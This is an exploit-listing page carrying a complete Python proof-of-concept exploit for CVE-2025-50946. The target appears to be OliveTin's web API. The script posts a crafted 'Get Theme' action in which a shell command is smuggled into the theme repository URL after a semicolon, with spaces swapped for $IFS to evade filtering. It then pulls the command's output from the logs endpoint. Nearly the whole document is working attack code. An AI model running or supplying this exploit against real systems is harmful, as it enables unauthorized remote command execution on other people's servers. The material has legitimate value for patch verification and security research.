5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-50946.py PY
#!/usr/bin/python
import argparse
import ipaddress
import requests
import sys
import time
from urllib.parse import urlparse

def main(args):
    validate(args)

    target = f"{args.target}:{args.port}"
    msg = f"[*] Target: {target}"
    print(msg)

    endpoint = "/api/StartAction"
    full_url = target + endpoint

    cmd_payload = build_command(args.command)
    print(f"[*] Payload: {cmd_payload}")

    # Match format of javascript's Date.now()
    current_epoch_time = time.time_ns() // 1_000_000

    get_theme_uuid = "8efb249e-b0a3-4842-9f67-e04b67b7a750"
    data = {
        "actionId": get_theme_uuid,
        "arguments": [
            {
                "name":"themeGitRepo",
                "value":f"http://t;{cmd_payload}"
            },
            {
                "name":"themeFolderName",
                "value":""
            }
        ],
        "uniqueTrackingId": str(current_epoch_time)
    }

    print("[*] Sending payload... ")
    response = requests.post(full_url, json=data)
    if response.status_code == 200:
        pass
    else:
        print()
        print(f"[-] Got bad HTTP response code: {response.status_code}")
        print(response.text)

    # Check /api/GetLogs for command output
    # Set a few headers for good measure
    output_endpoint = "/api/GetLogs"
    headers = {
        "Referer": f"{target}/logs",
        "Accept": "*/*"
    }
    full_url = target + output_endpoint

    response = requests.get(full_url, headers=headers)
    if response.status_code == 200:
        response_dict = response.json()
        logs = response_dict.get("logs")

        # Filter out logs which were not "Get Theme" actions
        logs = [l for l in logs if l.get("actionId") == get_theme_uuid]

        # Get output from latest action
        # Remove blank lines and the line containing the error message
        cmd_output_lines = logs[-1].get("output").split("\n")
        cmd_output_lines = [l for l in cmd_output_lines if l]
        cmd_output_lines = [l for l in cmd_output_lines if "olivetin-get-theme: not found" not in l]
        print("\n".join(cmd_output_lines))

    else:
        print(f"[-] Got non-200 HTTP response code: {response.status_code}")
        print(response.text)

def build_command(cmd_raw):
    """
        Banned characters: <SPACE> -> replace with $IFS
    """
    cmd_payload = cmd_raw.replace(" ","$IFS")
    return cmd_payload

def validate(args):
    parsed = urlparse(args.target)

    if parsed.scheme not in ("http", "https"):
        sys.exit(f"[!] Invalid scheme: must be http:// or https:// (got {args.target!r})")

    if not parsed.netloc or parsed.path or parsed.query or parsed.fragment:
        sys.exit(f"[!] Invalid target: must be exactly http://IP or https://IP (got {args.target!r})")

    if parsed.port is not None or "@" in parsed.netloc:
        sys.exit(f"[!] Invalid target: no port or userinfo allowed in URL (got {args.target!r})")

    try:
        ipaddress.ip_address(parsed.hostname)
    except (ValueError, TypeError):
        sys.exit(f"[!] Invalid IP address in target: {parsed.hostname!r}")

    if args.port is None:
        args.port = 443 if parsed.scheme == "https" else 80

    if not 1 <= args.port <= 65535:
        sys.exit(f"[!] Invalid port: {args.port} (must be 1-65535)")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit script for CVE-2025-50946")
    parser.add_argument("-t", "--target", required=True, help="Target URL (http://IP or https://IP)")
    parser.add_argument("-p", "--port", type=int, help="Target port (1-65535); defaults to 80/443 by scheme")
    parser.add_argument("--command", required=True, type=str, help="Command to inject")
    args = parser.parse_args()
    main(args)